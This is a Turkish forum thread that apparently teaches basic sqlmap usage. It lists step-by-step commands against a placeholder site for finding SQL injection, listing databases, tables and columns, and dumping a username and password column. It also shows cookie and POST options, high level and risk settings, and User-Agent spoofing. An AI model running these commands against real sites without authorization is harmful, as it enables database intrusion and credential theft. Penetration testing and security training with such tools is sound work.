Sqlmap Nasıl Kullanılır ?
Moderatör tarafında düzenlendi:
Sqlmap Nasıl Kullanılır ?
- Konuyu başlatan THE ADJUSTER
- Başlangıç tarihi
SQLmap Temel Kullanımı
Komut satırından çalışır. Genel kullanım kalıbı:
1. Basit Taramalar
-u >>> hedef URL
SQLmap otomatik olarak parametreyi test eder.
2. Hangi DBMS Kullanılıyor?
DBMS türünü belirtirsen (MySQL, MSSQL, Oracle, PostgreSQL…), SQLmap daha hızlı test eder.
3. Veritabanlarını Listeleme
Sızılabilirse tüm veritabanı isimlerini listeler.
4. Tablo Listeleme
-D ile veritabanı adı seçilir.
--tables ile tablolar listelenir.
5. Kolon Listeleme
6. Veri Çekme (Dump)
-C >>> kolon seçimi
--dump >>> veriyi çıkarır.
7. Cookie veya Header Kullanımı
8. POST Request ile Kullanım
9. Level ve Risk Parametreleri
Level >>> test çeşitliliği (1–5, yüksek olursa daha çok payload dener).
Risk >>> riskli testler (1–3).
10. Otomatik Tüm Açıkları Dene
--batch >>> tüm sorulara otomatik “evet” yanıtlar.
--random-agent >>> User-Agent sahtelemesi yapar.
Komut satırından çalışır. Genel kullanım kalıbı:
Bash:
sqlmap -u "http://site.com/page.php?id=1" [parametreler]1. Basit Taramalar
Bash:
sqlmap -u "http://site.com/page.php?id=1"SQLmap otomatik olarak parametreyi test eder.
2. Hangi DBMS Kullanılıyor?
Bash:
sqlmap -u "http://site.com/page.php?id=1" --dbms=mysql3. Veritabanlarını Listeleme
Bash:
sqlmap -u "http://site.com/page.php?id=1" --dbs4. Tablo Listeleme
Bash:
sqlmap -u "http://site.com/page.php?id=1" -D hedefveritabani --tables--tables ile tablolar listelenir.
5. Kolon Listeleme
Bash:
sqlmap -u "http://site.com/page.php?id=1" -D hedefveritabani -T hedeftablo --columns6. Veri Çekme (Dump)
Bash:
sqlmap -u "http://site.com/page.php?id=1" -D hedefveritabani -T hedeftablo -C kullanici,sifre --dump--dump >>> veriyi çıkarır.
7. Cookie veya Header Kullanımı
Bash:
sqlmap -u "http://site.com/page.php?id=1" --cookie="PHPSESSID=12345"
Bash:
sqlmap -u "http://site.com/page.php?id=1" --headers="User-Agent: Mozilla/5.0"8. POST Request ile Kullanım
Bash:
sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"9. Level ve Risk Parametreleri
Bash:
sqlmap -u "http://site.com/page.php?id=1" --level=5 --risk=3Risk >>> riskli testler (1–3).
10. Otomatik Tüm Açıkları Dene
Bash:
sqlmap -u "http://site.com/page.php?id=1" --batch --random-agent--random-agent >>> User-Agent sahtelemesi yapar.
Son düzenleme:
Merhaba,
Sqlmap SQL açıklarını otomatik test etmeye yarayan bir araçtır. Kullanımı basittir. Örneğin:
Bu şekilde hedef URL’yi vererek tarama yapabilirsin. Parametreleri arttırarak veritabanı tablo ve kolon bilgilerini de çekmek mümkün.
Detaylı anlatımlar ve kullanım örnekleri sqlmapın kendi dökümantasyonunda mevcut
Sqlmap SQL açıklarını otomatik test etmeye yarayan bir araçtır. Kullanımı basittir. Örneğin:
sqlmap -u "http://site.com/index.php?id=1"Bu şekilde hedef URL’yi vererek tarama yapabilirsin. Parametreleri arttırarak veritabanı tablo ve kolon bilgilerini de çekmek mümkün.
Detaylı anlatımlar ve kullanım örnekleri sqlmapın kendi dökümantasyonunda mevcut
